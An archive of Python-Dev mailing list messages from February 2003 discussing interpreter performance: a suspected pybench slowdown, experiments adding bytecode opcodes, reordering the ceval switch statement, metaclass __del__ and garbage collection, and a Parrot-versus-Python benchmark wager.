    pairs = rld(x['pairs'])

Skip


From sjoerd@acm.org  Thu Feb 27 15:58:12 2003
From: sjoerd@acm.org (Sjoerd Mullender)
Date: Thu, 27 Feb 2003 16:58:12 +0100
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: <3E5E0A70.6020803@lemburg.com>
References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net>
 <3E5E0A70.6020803@lemburg.com>
Message-ID: <20030227155813.3279074EB0@indus.ins.cwi.nl>

On Thu, Feb 27 2003 "M.-A. Lemburg" wrote:

> Is there a way to check out a Python CVS version dated 2003-02-24 ?
> I could then give that a try again.

cvs update -D '24 Feb 2003'

-- Sjoerd Mullender <sjoerd@acm.org>


From jeremy@zope.com  Thu Feb 27 16:20:02 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: 27 Feb 2003 11:20:02 -0500
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien>
References: <000001c2de40$e780b400$6401a8c0@damien>
Message-ID: <1046362802.13475.3.camel@slothrop.zope.com>

On Thu, 2003-02-27 at 04:16, damien morton wrote:
> Im not sure how I could properly excersise Zope, and Mailman doesn't run
> under windows. PySol is do-able. Any other suggestions as to apps worthy
> of profiling?
> 
> Would the python standard library unit tests qualify?

Use the compiler package in the standard library to compile a
non-trivial chunk of Python code -- like the compiler package.

Use one of the standard XML or HTML parsers to parse a large file.

Jeremy




From Ludovic.Aubry@logilab.fr  Thu Feb 27 15:02:46 2003
From: Ludovic.Aubry@logilab.fr (Ludovic Aubry)
Date: Thu, 27 Feb 2003 16:02:46 +0100
Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea
In-Reply-To: <3E5D29D6.90803@lemburg.com>
References: <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <b3ivcs$jn1$1@main.gmane.org> <20030226185645.GC24106@logilab.fr> <3E5D29D6.90803@lemburg.com>
Message-ID: <20030227150246.GB31841@logilab.fr>

On Wed, Feb 26, 2003 at 09:55:50PM +0100, M.-A. Lemburg wrote:
> Ludovic Aubry wrote:
> >I have a piece of code that does (almost) exactly that, except at
> >runtime.
> >It's purpose is to optimize access to globals used as constants by
> >replacing the LOAD_GLOBAL opcode by a LOAD_CONST.
> >It does that by creating a new code object for the function you provide
> >and using a list of symbols to consider constant.
> >
> > [code]
> 
> I suppose this kind of code could be put to some good use
> if we ever get some of the recently discussed function modifiers
> into Python:
> 
> def myFunction(a,b) [bindglobals]:
>     for i in range(len(a)):
>         b[i] = math.sin(a[i]) * math.cos(2)
> 
> Hmm, now we'd only need a way to describe "this function has no
> side-effects and behaves like a mathematical function (same inputs
> map to same outputs)"... then we could also optimize cos(2)
> into the constants area :-)
> 


With a [bindglobals] modifier we need a way to specify which objects we
want to bind.

We can pass a list or dict as with my example or we can have the
container of the definition tell us if a symbol should be a constant.

Actually my first implementation of this code was using a __consts__
variable (like Jeff's __solid__) to tell the bind function what 
symbol it could replace.
I patched PyFunction_New to create a new code object at the time the
function object was created, thus binding or not was decided by
looking for the __consts__ variable in the globals.

There was no need for a [bindglobals] but people not knowing I patched
the interpreter were a little bit confused ;)


-- 
Ludovic Aubry                                 LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From tim.one@comcast.net  Thu Feb 27 15:02:56 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 27 Feb 2003 10:02:56 -0500
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: <3E5E0A70.6020803@lemburg.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEECFAAA.tim.one@comcast.net>

[M.-A. Lemburg]
> ...
> Is there a way to check out a Python CVS version dated 2003-02-24 ?
> I could then give that a try again.

Use the -D option to the checkout command:

    -D date   Check out revisions as of date. (implies -P) (is sticky)

It's highly creative in what it accepts for "a date" <wink>.


From mal@lemburg.com  Thu Feb 27 16:50:19 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 17:50:19 +0100
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: <20030227155813.3279074EB0@indus.ins.cwi.nl>
References: <3E5DD1C5.2070800@lemburg.com>	<200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> 	<3E5E0A70.6020803@lemburg.com> <20030227155813.3279074EB0@indus.ins.cwi.nl>
Message-ID: <3E5E41CB.7060501@lemburg.com>

Sjoerd Mullender wrote:
> On Thu, Feb 27 2003 "M.-A. Lemburg" wrote:
> 
> 
>>Is there a way to check out a Python CVS version dated 2003-02-24 ?
>>I could then give that a try again.
> 
> cvs update -D '24 Feb 2003'

Thanks !

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From guido@python.org  Thu Feb 27 15:22:22 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 27 Feb 2003 10:22:22 -0500
Subject: [Python-Dev] bug? classes whose metclass has __del__ are not collectible
In-Reply-To: Your message of "Thu, 27 Feb 2003 13:48:43 +0100."
 <024201c2de5e$8f7e33e0$6d94fea9@newmexico>
References: <024201c2de5e$8f7e33e0$6d94fea9@newmexico>
Message-ID: <200302271522.h1RFMN524344@odiug.zope.com>

> new-style classes keep track of their subclasses through weak-refs so they
> remain in general collectible.
> 
> consider this code:  (inspired by this post comp.lang.python post
> id: <b3khka$2g6$1@news.wplus.spb.ru>

I cannot find that article by id alone; groups.google.com doesn't have
it.

> <test.py>
> import sys
> 
> class MyMetaclass(type):
> 
>     def __init__(cls, name, bases, dict):
>         super(MyMetaclass, cls).__init__(name, bases, dict)
>         print 'initialized', cls.__name__
> 
>     if 'meta__del__' in sys.argv:
>  print "*meta__del__*"

I'm guessing this should be indented the same as the following line.

>         def __del__(cls):
>             print 'deleted', cls.__name__
> 
> class MyClass(object):
>     if 'meta' in sys.argv:
>  print "*meta*"

Ditto.

>      __metaclass__ = MyMetaclass
>     pass
> 
> class Sub(MyClass):
>     pass
> 
> del Sub
> 
> import gc
> 
> gc.collect() # force involved weak-refs to be cleared
> 
> print "MyClass subclasses",MyClass.__subclasses__()
> print "garbage",gc.garbage
> 
> </test.py>
> 
> Now:
> 
> C:\exp\py-subclasses-gc>\transit\Py23\python test.py
> MyClass subclasses []
> garbage []
> 
> C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta
> *meta*
> initialized MyClass
> initialized Sub
> MyClass subclasses []
> garbage []
> 
> also Sub with both metaclass type or MyMetaclass without __del__ is collectible
> and collected but:
> 
> C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta meta__del__
> *meta__del__*
> *meta*
> initialized MyClass
> initialized Sub
> MyClass subclasses [<class '__main__.Sub'>]
> garbage [<class '__main__.Sub'>]
> 
> if MyMetaclass grows a __del__ method Sub is no longer collectible ...

In general objects whose class has a __del__ method are not
collectible.  The GC implementation has a good reason for this;
someone else may be able to explain it.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From python@rcn.com  Thu Feb 27 17:24:38 2003
From: python@rcn.com (Raymond Hettinger)
Date: Thu, 27 Feb 2003 12:24:38 -0500
Subject: [Python-Dev] Slowdown in Python CVS
References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <000701c2de85$1b433080$a80ca044@oemcomputer>

> > My nightly run of pybench went up from the usual 7590ms per
> > run to around 8200ms between Monday night and today. Can anyone
> > explain this ?
> 
> Did you compare the outputs?  There could be importants hint there!
> :-)
> 
> Maybe this checkin to ceval.c backfired?
> 
> ----------------------------
> revision 2.351
> date: 2003/02/26 18:11:50;  author: rhettinger;  state: Exp;  lines: +18 -4
> Micro-optimizations.
> * List/Tuple checkexact is faster for the common case.
> * Testing for Py_True and Py_False can be inlined for faster looping.
> ----------------------------

That would be a bummer.  It looked like a pure win.

I timed the changes with PyStone with N=200000 and got:
Base Code:      12.379   12.2716   12.2716
+ CheckExact: 12.2746  12.2278   12.3165
+ T/F inlined:  12.108    12.1697   12.1259

Since PyStone does weird things to booleans and uses
"while 1", I ran a separate test on "while 1" vs. "while True"
showed a speedup of "while True" and no measurable
change to "while 1".

If your timings show a different result, let me know and
I'll back it out.


Raymond Hettinger


From newsgroups1@bitfurnace.com  Thu Feb 27 18:54:05 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Thu, 27 Feb 2003 13:54:05 -0500
Subject: [Python-Dev] new bytecode results
Message-ID: <b3ln75$grm$1@main.gmane.org>

I tried adding a variety of new instructions to the PVM, initially with a
code compression goal for the bytecodes, and later with a performance goal.

definitions:
USING_LOAD_FAST_N
    accesses to locals with an index<16 using a one byte instruction (no
oparg)
USING_LOAD_CONST_N
    accesses to consts with an index<16 using a one byte instruction (no
oparg)
USING_STORE_FAST_N
    accesses to locals with an index<16 using a one byte instruction (no
oparg)
USING_SHORT_CMP
    compare ops using a one byte instruction (no oparg)

PyStone score for best of 10 runs.

umodified 2.3a2 22200

using enum, 22200 (compacting the opcode numeric space using an enum instead
of #defines)

USING_LOAD_FAST_N 22700
USING_LOAD_CONST_N 22400
USING_STORE_FAST_N 22400
USING_LOAD_FAST_N, USING_LOAD_CONST_N 22350
USING_LOAD_FAST_N, USING_STORE_FAST_N, 22000
USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N 22200

USING_SHORT_CMP 21500

USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N, USING_SHORT_CMP
22000


Conclusions:

While reducing the size of compiled bytecodes by about 1%, the proposed
modifications at best increase performance by 2%, and at worst reduce
performance by 3%.

Enabling all of the proposed opcodes results in a 1% performance loss.

In general, it would seem that adding opcodes in bulk, even if many opcodes
switch to the same labels, results in a minor performance loss.

Running PyStone under windows results in a fairly large variation in
results. A zip file containing the source files I modified can be found at
http://www.bitfurnace.com/python/modified-source.zip.

If someone would like to try this code on their systems, I would be grateful
to know what kind of results they achieve.

The various proposed opcodes are controlled by a set of #defines in the file
opcode.h


Next steps:

The results of my static analysis indicate that the indices used on
LOAD_FAST, LOAD_CONST, STORE_FAST are almost always small. There may be some
benefit to optimising these instructions to use single byte opargs.

The results of my static and dynamic analysis indicate that the (COMPARE_OP,
JUMP_IF_FALSE, POP_TOP) pattern is highly used. Im looking at what changes
would need to be made to the compiler to remove the need for this sequence
of instructions.












From dan@sidhe.org  Thu Feb 27 19:05:42 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Thu, 27 Feb 2003 14:05:42 -0500
Subject: [Python-Dev] new bytecode results
In-Reply-To: <b3ln75$grm$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org>
Message-ID: <a05200f0dba8411be8b59@[63.120.19.221]>

At 1:54 PM -0500 2/27/03, Damien Morton wrote:
>In general, it would seem that adding opcodes in bulk, even if many opcodes
>switch to the same labels, results in a minor performance loss.

While I'm somewhat loathe to help you guys go faster (that whole pie 
thing) you might want to take a look at commonly used pairs of 
opcodes and reordering the code in the switch body so pairs are 
adjacent and more likely to be in cache.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From mal@lemburg.com  Thu Feb 27 20:56:41 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 21:56:41 +0100
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: <000701c2de85$1b433080$a80ca044@oemcomputer>
References: <3E5DD1C5.2070800@lemburg.com>	<200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> <000701c2de85$1b433080$a80ca044@oemcomputer>
Message-ID: <3E5E7B89.6020203@lemburg.com>

Raymond Hettinger wrote:
>>>My nightly run of pybench went up from the usual 7590ms per
>>>run to around 8200ms between Monday night and today. Can anyone
>>>explain this ?
>>
>>Did you compare the outputs?  There could be importants hint there!
>>:-)
>>
>>Maybe this checkin to ceval.c backfired?
>>
>>----------------------------
>>revision 2.351
>>date: 2003/02/26 18:11:50;  author: rhettinger;  state: Exp;  lines: +18 -4
>>Micro-optimizations.
>>* List/Tuple checkexact is faster for the common case.
>>* Testing for Py_True and Py_False can be inlined for faster looping.
>>----------------------------
> 
> 
> That would be a bummer.  It looked like a pure win.
> 
> I timed the changes with PyStone with N=200000 and got:
> Base Code:      12.379   12.2716   12.2716
> + CheckExact: 12.2746  12.2278   12.3165
> + T/F inlined:  12.108    12.1697   12.1259
> 
> Since PyStone does weird things to booleans and uses
> "while 1", I ran a separate test on "while 1" vs. "while True"
> showed a speedup of "while True" and no measurable
> change to "while 1".
> 
> If your timings show a different result, let me know and
> I'll back it out.

Ok, I reran the tests using the CVS time machine and the results
indicate that this was a false alarm. I am not exactly sure
what is causing it though: both figures for the Monday checkout
and todays checkout hover around 8200ms per run on average,
while most historical figures from last month are in the
7590-7950ms range.

Oh, BTW, your patch does not result in any significant
change in pybench results.

Nevermind,
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From mal@lemburg.com  Thu Feb 27 21:09:43 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 22:09:43 +0100
Subject: [Python-Dev] new bytecode results
In-Reply-To: <b3ln75$grm$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org>
Message-ID: <3E5E7E97.5050403@lemburg.com>

Damien Morton wrote:
> I tried adding a variety of new instructions to the PVM, initially with a
> code compression goal for the bytecodes, and later with a performance goal.
 > ...
> Conclusions:
> 
> While reducing the size of compiled bytecodes by about 1%, the proposed
> modifications at best increase performance by 2%, and at worst reduce
> performance by 3%.
> 
> Enabling all of the proposed opcodes results in a 1% performance loss.
> 
> In general, it would seem that adding opcodes in bulk, even if many opcodes
> switch to the same labels, results in a minor performance loss.

The general problem with the ceval switch statement is that it
is too big. Adding new opcodes will only make it bigger, so I doubt
that much can be gained in general by trying to come up with new
do-everything-in-one-opcode cases.

Back in the 1.5.2 days I played a lot with the ceval loop and
the best results I got came from:

a) moving the LOAD_FAST opcode out of the switch

b) splitting the switch statement in two: the first one for
    more commonly used opcodes, the second one for less often
    used opcodes

c) ordering cases in the switch statements by usage frequency
    (using average opcode usage frequencs obtained by
    instrumenting the interpreter)

The last point is probably compiler dependent. GCC has the tendency
to use the same layout for the assembler code as you use in the
C source code, so placing often used code close to the top
results in better locality (at least on my machines).

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From newsgroups1@bitfurnace.com  Thu Feb 27 22:14:22 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Thu, 27 Feb 2003 17:14:22 -0500
Subject: [Python-Dev] Re: new bytecode results
References: <b3ln75$grm$1@main.gmane.org> <a05200f0dba8411be8b59@[63.120.19.221]>
Message-ID: <b3m2un$7rv$1@main.gmane.org>

"Dan Sugalski" <dan@sidhe.org>
> At 1:54 PM -0500 2/27/03, Damien Morton wrote:
> >In general, it would seem that adding opcodes in bulk, even if many
opcodes
> >switch to the same labels, results in a minor performance loss.
>
> While I'm somewhat loathe to help you guys go faster (that whole pie
> thing) you might want to take a look at commonly used pairs of
> opcodes and reordering the code in the switch body so pairs are
> adjacent and more likely to be in cache.

I caught the whole pie conversation, but I missed how you were going to test
Parrot against Python.

How exactly will this competion be measured?





From newsgroups1@bitfurnace.com  Thu Feb 27 22:22:45 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Thu, 27 Feb 2003 17:22:45 -0500
Subject: [Python-Dev] Re: new bytecode results
References: <b3ln75$grm$1@main.gmane.org> <3E5E7E97.5050403@lemburg.com>
Message-ID: <b3m3ee$a0o$1@main.gmane.org>

"M.-A. Lemburg" <mal@lemburg.com> wrote
> Damien Morton wrote:
> > Conclusions:
> >
> > While reducing the size of compiled bytecodes by about 1%, the proposed
> > modifications at best increase performance by 2%, and at worst reduce
> > performance by 3%.
> >
> > Enabling all of the proposed opcodes results in a 1% performance loss.
> >
> > In general, it would seem that adding opcodes in bulk, even if many
opcodes
> > switch to the same labels, results in a minor performance loss.
>
> The general problem with the ceval switch statement is that it
> is too big. Adding new opcodes will only make it bigger, so I doubt
> that much can be gained in general by trying to come up with new
> do-everything-in-one-opcode cases.

Each of the LOAD_FAST_N, LOAD_CONST_N, etc opcodes I added contributed only
1 line of code to the inner loop.

LOAD_FAST_0:
   ...
LOAD_FAST_15:
    oparg = opcode - LOAD_FAST_0
LOAD_FAST:
    <body of load_fast>
    break

It is the growth of the switch jumptable that I suspect caused the slowdown.

Im told that, under MSVC, the switch is implemented as two tables - the
first a table of bytes, and the second a table of addresses.

If thats the case, adding non-code-bearing opcodes that direct to the same
label should only increase the switch jumptables by 1 byte for each opcode
added. If not, then the switch jumptables would increase in size by 4 bytes
or each opcode added.

Either way, there doesnt seem to be any advantage in this approach.





From dan@sidhe.org  Thu Feb 27 22:49:25 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Thu, 27 Feb 2003 17:49:25 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3m2un$7rv$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org>
 <a05200f0dba8411be8b59@[63.120.19.221]> <b3m2un$7rv$1@main.gmane.org>
Message-ID: <a05200f00ba84455b2bc8@[63.120.19.221]>

At 5:14 PM -0500 2/27/03, Damien Morton wrote:
>"Dan Sugalski" <dan@sidhe.org>
>>  At 1:54 PM -0500 2/27/03, Damien Morton wrote:
>>  >In general, it would seem that adding opcodes in bulk, even if many
>opcodes
>>  >switch to the same labels, results in a minor performance loss.
>>
>>  While I'm somewhat loathe to help you guys go faster (that whole pie
>>  thing) you might want to take a look at commonly used pairs of
>>  opcodes and reordering the code in the switch body so pairs are
>>  adjacent and more likely to be in cache.
>
>I caught the whole pie conversation, but I missed how you were going to test
>Parrot against Python.
>
>How exactly will this competion be measured?

We've still got to hash out the details, but in december someone'll 
generate a bytecode file for the program(s) we're going to be 
running. We both get to run converters/optimizers over them if we 
choose. Then at the 2004 OSCON we'll run the converted programs and 
whichever takes less time (we've not set whether it's wall or CPU 
time, though I'm tempted to go for CPU so neither gets penalized for 
the odd background task that might be running) wins.

The official details, limits, and pie flavors will likely be set at 
this summer's OSCON.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From andrewm@object-craft.com.au  Thu Feb 27 23:00:17 2003
From: andrewm@object-craft.com.au (Andrew McNamara)
Date: Fri, 28 Feb 2003 10:00:17 +1100
Subject: [Python-Dev] new bytecode results
In-Reply-To: Message from "M.-A. Lemburg" <mal@lemburg.com>
 of "Thu, 27 Feb 2003 22:09:43 BST." <3E5E7E97.5050403@lemburg.com>
References: <b3ln75$grm$1@main.gmane.org>  <3E5E7E97.5050403@lemburg.com>
Message-ID: <20030227230017.6D2473CC5C@coffee.object-craft.com.au>

>The general problem with the ceval switch statement is that it
>is too big. Adding new opcodes will only make it bigger, so I doubt
>that much can be gained in general by trying to come up with new
>do-everything-in-one-opcode cases.
[...]
>The last point is probably compiler dependent. GCC has the tendency
>to use the same layout for the assembler code as you use in the
>C source code, so placing often used code close to the top
>results in better locality (at least on my machines).

My experience with gcc (on x86) is that it uses a lookup table
for contiguous switch statements rather than a long chain of
compares/branches. A quick look at the assembler output from ceval.c
suggests it's using a lookup table. What architecture did you observe
this on?

-- 
Andrew McNamara, Senior Developer, Object Craft
http://www.object-craft.com.au/


From niemeyer@conectiva.com  Fri Feb 28 01:58:09 2003
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Thu, 27 Feb 2003 22:58:09 -0300
Subject: [Python-Dev] Introducing Python
Message-ID: <20030228015808.GA29855@ibook>

I've just seen the Introducing Python video, found in

http://www.ibiblio.org/obp/pyBiblio/pythonvideo.php

This is a very interesting video, at least after you stop laughing. :-))

Jokes apart, it's indeed interesting to know how your mailing list
partners/programming partners/benevolent dictators/friends/whatever
look like, when they're not ascii characters. I'd advice it to anyone
who is part of that community and is not able to be closer in meetings
and similar events.

Btw, Tim, your <wink>s will have a special meaning to me from
now on. ;-)

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From tjreedy@udel.edu  Fri Feb 28 02:59:49 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Thu, 27 Feb 2003 21:59:49 -0500
Subject: [Python-Dev] Re: new bytecode results
References: <b3ln75$grm$1@main.gmane.org> <a05200f0dba8411be8b59@[63.120.19.221]> <b3m2un$7rv$1@main.gmane.org> <a05200f00ba84455b2bc8@[63.120.19.221]>
Message-ID: <b3miuo$7v4$1@main.gmane.org>

"Dan Sugalski" <dan@sidhe.org> wrote in message
news:a05200f00ba84455b2bc8@[63.120.19.221]...
> We've still got to hash out the details,  but in december someone'll
> generate a bytecode file for the program(s) we're going to be
> running. We both get to run converters/optimizers over them if we
> choose.

I find this a bit surprising.  The problems of teaching to the test
and programming to the benchmark are well-known.  I presume the
extreme of 'optimizing' the bytecode down to a single byte (that calls
a custom compiled-to-machine-code function) will be disallowed.  But I
wonder how and where you plan to draw the line between that and
out-of-the-box behavior.

> Then at the 2004 OSCON we'll run the converted programs and

With enough 'conversion', the result could be seen as no longer being
a compilation of standard Python, but of a variant with type
declarations and pragmas added and certain dynamic features deleted.
In any case, this seems to makes the contest one more of special-case
optimization and less of general-case running time, and therefore of
less relevance to users who want *their* programs to run faster with
an out-of-the-box interpreter.

> whichever takes less time (we've not set whether it's wall or CPU
> time, though I'm tempted to go for CPU so neither gets penalized for
> the odd background task that might be running) wins.

>From my user viewpoint, I am more interested in total time from source
input to finish.

> The official details, limits, and pie flavors will likely be set at
> this summer's OSCON.

Will you allow runtime compilation (as with psyco)?
How about pre-contest dynamic compilation?  (I believe Armin plans to
add a save/restore feature).
What if psyco-like dynamic compilation is a 'stock' feature of one
system and not the other?

Your contest, my questions and comments.

Terry J. Reedy





From tim.one@comcast.net  Fri Feb 28 03:21:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 27 Feb 2003 22:21:20 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3miuo$7v4$1@main.gmane.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEHHDPAB.tim.one@comcast.net>

[Terry Reedy]
> ...
> The problems of teaching to the test and programming to the benchmark
> are well-known.
> ...
> Your contest, my questions and comments.

Not to worry -- I made my living for 15 years writing optimizing compilers
in the highly competitive (at the time -- it competed itself to death)
supercomputer biz.  I've forgotten more dirty tricks than even a Perl guy
can pick up in a lifetime <wink>.

One of my favorites:  one of the rules in a particular competitive benchmark
was that editing the source code was not allowed.  Everyone had to run the
source file verbatim from the prospective customer.  One of Cray's
competitors (and, no, I'm not making this up) implemented a simple sed-like
subsystem driven by text on the compiler *command line*, which effectively
allowed them to edit the source code without physically changing the file.
They used this to dump all sorts of compiler directives into the benchmark
code, and even to replace a particular critical loop nest with a call to a
highly optimized library subroutine.

Their results were quite impressive.  But ours were even better:  general
global analysis deduced that the computed results weren't used for anything,
so we optimized away all the expensive loops.  Our results weren't all to
the good, though:  the program ran so fast then that the "operations per
second" output at the end overflowed to a negative integer.

Heh.  Believe it or not, customers were once so naive that they actually
looked at benchmark results as if they measured something relevant to their
business <wink>.

beauty-is-a-more-objective-measure-ly y'rs  - tim



From dmorton@bitfurnace.com  Fri Feb 28 06:24:23 2003
From: dmorton@bitfurnace.com (damien morton)
Date: Fri, 28 Feb 2003 01:24:23 -0500
Subject: [Python-Dev] new bytecode results
In-Reply-To: <3E5E7E97.5050403@lemburg.com>
Message-ID: <001301c2def2$09d374a0$6401a8c0@damien>

> From: M.-A. Lemburg [mailto:mal@lemburg.com] 
> 
> Back in the 1.5.2 days I played a lot with the ceval loop and 
> the best results I got came from:
> 
> a) moving the LOAD_FAST opcode out of the switch

Are you suggesting a test for LOAD_FAST before the switch, 

e.g.
if (opcode == LOAD_FAST) {
 // load fast
}
else switch (opcode) {
 // body
}

> b) splitting the switch statement in two: the first one for
>     more commonly used opcodes, the second one for less often
>     used opcodes

Are you suggesting something like: 

switch (opcode) {
 case COMMON_OP:
 case COMMON_OP:
 ...
 default:
   switch (opcode) {
     case UNCOMMON_OP:
     case UNCOMMON_OP:
}

Or something like this:

switch (opcode) {
 case COMMON_OP:
 case COMMON_OP:
 ...
 default:
   handle_uncommon_ops();
}


> c) ordering cases in the switch statements by usage frequency
>     (using average opcode usage frequencs obtained by
>     instrumenting the interpreter)

I might try a little simulated annealing to generate layouts with high
frequency opcodes near the front and coorcurring opcodes near each
other.

> The last point is probably compiler dependent. GCC has the 
> tendency to use the same layout for the assembler code as you 
> use in the C source code, so placing often used code close to 
> the top results in better locality (at least on my machines).



From mal@lemburg.com  Fri Feb 28 08:41:29 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 28 Feb 2003 09:41:29 +0100
Subject: [Python-Dev] new bytecode results
In-Reply-To: <20030227230017.6D2473CC5C@coffee.object-craft.com.au>
References: <b3ln75$grm$1@main.gmane.org>  <3E5E7E97.5050403@lemburg.com> <20030227230017.6D2473CC5C@coffee.object-craft.com.au>
Message-ID: <3E5F20B9.2040409@lemburg.com>

Andrew McNamara wrote:
>>The general problem with the ceval switch statement is that it
>>is too big. Adding new opcodes will only make it bigger, so I doubt
>>that much can be gained in general by trying to come up with new
>>do-everything-in-one-opcode cases.
> 
> [...]
> 
>>The last point is probably compiler dependent. GCC has the tendency
>>to use the same layout for the assembler code as you use in the
>>C source code, so placing often used code close to the top
>>results in better locality (at least on my machines).
> 
> My experience with gcc (on x86) is that it uses a lookup table
> for contiguous switch statements rather than a long chain of
> compares/branches. A quick look at the assembler output from ceval.c
> suggests it's using a lookup table. 

Right, but the code for the case implementations itself is
ordered (more or less) in the order you use in the C file. At
least that was the case at the time (which must have been GCC
2.95.x or even earlier).

> What architecture did you observe
> this on?

Linux.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 28 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     32 days left
EuroPython 2003, Charleroi, Belgium:                       116 days left



From mal@lemburg.com  Fri Feb 28 08:48:32 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 28 Feb 2003 09:48:32 +0100
Subject: [Python-Dev] new bytecode results
In-Reply-To: <001301c2def2$09d374a0$6401a8c0@damien>
References: <001301c2def2$09d374a0$6401a8c0@damien>
Message-ID: <3E5F2260.3080808@lemburg.com>

damien morton wrote:
>>From: M.-A. Lemburg [mailto:mal@lemburg.com] 
>>
>>Back in the 1.5.2 days I played a lot with the ceval loop and 
>>the best results I got came from:
>>
>>a) moving the LOAD_FAST opcode out of the switch
> 
> 
> Are you suggesting a test for LOAD_FAST before the switch, 
> 
> e.g.
> if (opcode == LOAD_FAST) {
>  // load fast
> }
> else switch (opcode) {
>  // body
> }

Yes.

>>b) splitting the switch statement in two: the first one for
>>    more commonly used opcodes, the second one for less often
>>    used opcodes
> 
> 
> Are you suggesting something like: 
> 
> switch (opcode) {
>  case COMMON_OP:
>  case COMMON_OP:
>  ...
>  default:
>    switch (opcode) {
>      case UNCOMMON_OP:
>      case UNCOMMON_OP:
> }

Yes, except that in the default case the code is placed after the
first switch.

switch (opcode) {
  case COMMON_OP:
    goto nextInstruction;
  case COMMON_OP:
  ...
    goto nextInstruction;
  default:
    ;
}

switch (opcode) {
  case UNCOMMON_OP:
  case UNCOMMON_OP:
}
goto nextInstruction;

> Or something like this:
> 
> switch (opcode) {
>  case COMMON_OP:
>  case COMMON_OP:
>  ...
>  default:
>    handle_uncommon_ops();
> }

That's hard to do because the loop has so many variables
to pass into handle_uncommon_ops(). I haven't tried
it though (or at least I don't remember trying it :-),
so perhaps this is even better.

>>c) ordering cases in the switch statements by usage frequency
>>    (using average opcode usage frequencs obtained by
>>    instrumenting the interpreter)
> 
> I might try a little simulated annealing to generate layouts with high
> frequency opcodes near the front and coorcurring opcodes near each
> other.

I did that by hand, sort of :-) The problem is that the
scoring phases takes rather long, so you better start with
a good guess.

>>The last point is probably compiler dependent. GCC has the 
>>tendency to use the same layout for the assembler code as you 
>>use in the C source code, so placing often used code close to 
>>the top results in better locality (at least on my machines).

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 28 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
